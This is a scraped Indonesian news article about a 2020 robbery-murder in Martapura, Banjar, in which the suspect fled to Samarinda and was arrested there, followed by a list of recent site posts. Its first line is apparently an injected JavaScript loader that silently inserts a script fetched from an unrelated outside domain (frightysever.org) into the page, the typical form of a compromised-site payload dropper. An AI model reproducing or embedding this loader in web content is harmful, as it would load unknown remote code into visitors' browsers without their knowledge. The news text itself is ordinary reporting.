(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL BANJAR

Habisi Korban, Jual Motor Rampokan Rp1,3 Juta, Pelarian RAW ke Samarinda Berakhir


KANALKALIMANTAN.COM, MARTAPURA – Pelaku perampokan disertai pembunuhan H (20), warga jalan Masjid Komplek Ratu Intan, Indrasari, Kecamatan Martapura, Kabupaten Banjar, pada Sabtu (6/6/2020), akhirnya terungkap.

Adalah RAW (27), warga jalan Pendidikan, Kampung Baru, Kelurahan Sungai Paring, Martapura, ditangkap polisi setelah buron beberapa hari, setelah sempat kabur ke Samarinda, Kaltim.

Korban H (20) dihabisi dengan ditusuk lehernya pakai pisau, lantaran RAW kepergok saat ingin mencuri sepeda motor di kediaman korban pada Sabtu (6/6/2020) pukul 06.00 Wita.

Tidak lama setelah melakukan pencurian disertai pembunuhan itu, akhirnya pelaku diringkus di Samarinda oleh jajaran Sat Reskrim Polres Samarinda pada Selasa (10/6/2020) sore.

Dari pengakuan RAW, saat motor hendak diambil, korban terbangun dari tidurnya. Karena kaget, pelaku menikam leher korban. Melihat korban sudah tak berdaya, pelaku kemudian membawa sepeda motor Suzuki Satria F.

Setelah menghabisi korban, RAW kemudian pergi membawa motor Suzuki Satria F, pisau yang digunakannya langsung dibuang. Suzuki Satria F sempat dikendarainya pagi itu juga, kemudian ia menjualnya dengan harga Rp1,3 juta kepada seseorang tak dikenal di wilayah Kecamatan Mataraman, Kabupaten Banjar, sebelum kabur ke Samarinda.

Bermodal uang menjual sepeda motor itulah, RAW mengaku naik angkutan umum ke Barabai, Kabupaten Hulu Sungai Tengah. Ia sempat menginap di salah satu rumah kerabat di Barabai. Kemudian dengan travel menuju Samarinda, Kaltim.

“Setelah menjual motor milik korban saya kemudian naik travel ke Penajam dulu, kemudian pakai travel lagi ke Samarinda,” ucapnya.

Kasus pembunuhan dilakukan pelaku, berlatarbelakang utang antara pelaku dan kakak korban sendiri.

“Kakak korban menyuruh saya mencuri motor adiknya sendiri sebagai penebus utangnya, dan kakaknya lah yang memberikan informasi keadaan rumah kebetulan hanya tinggal sendiri,” ucapnya.

Kanit Jatanras Polres Samarinda, Iptu Abdul Rauf mengatakan, tersangka diamankan pihaknya di Jalan Ampera di sekitar Simpang Pasir, Kecamatan Palaran. Penangkapan itu setelah timnya mendapatkan informasi dari Polres Banjar ada pelaku pencurian serta pembunuhan yang kabur ke Samarinda.

“Menurut pengakuan pelaku, selama di Samarinda dirinya bersembunyi di salah satu penginapan di Kecamatan Palaran. Dan selama kabur, tersangka mengunakan uang hasil menjual motor korban untuk kebutuhan selama melarikan diri,” jelas Iptu Rauf.

Belakangan diketahui, tersangka baru dua bulan keluar dari penjara, lantaran kasus pembakaran di salah satu ruko di Banjarmasin. Saat ini tim Polres Banjar sedang dalam perjalanan untuk menjemput tersangka untuk dibawa ke Mapolres Banjar.

Akibat perbuatanya, tersangka diancam dengan Pasal 365 Ayat 4 KUHP tentang pencurian dengan kekerasaan yang mengakibatkan kematian dengan ancaman hukum mati atau seumur hidup dan atau 20 tahun kurungan penjara. (kanalkalimantan.com)

Reporter : bie
Editor : kk

 


Al Ghifari

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

9 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

9 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

9 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

11 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

12 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

13 jam ago

This website uses cookies.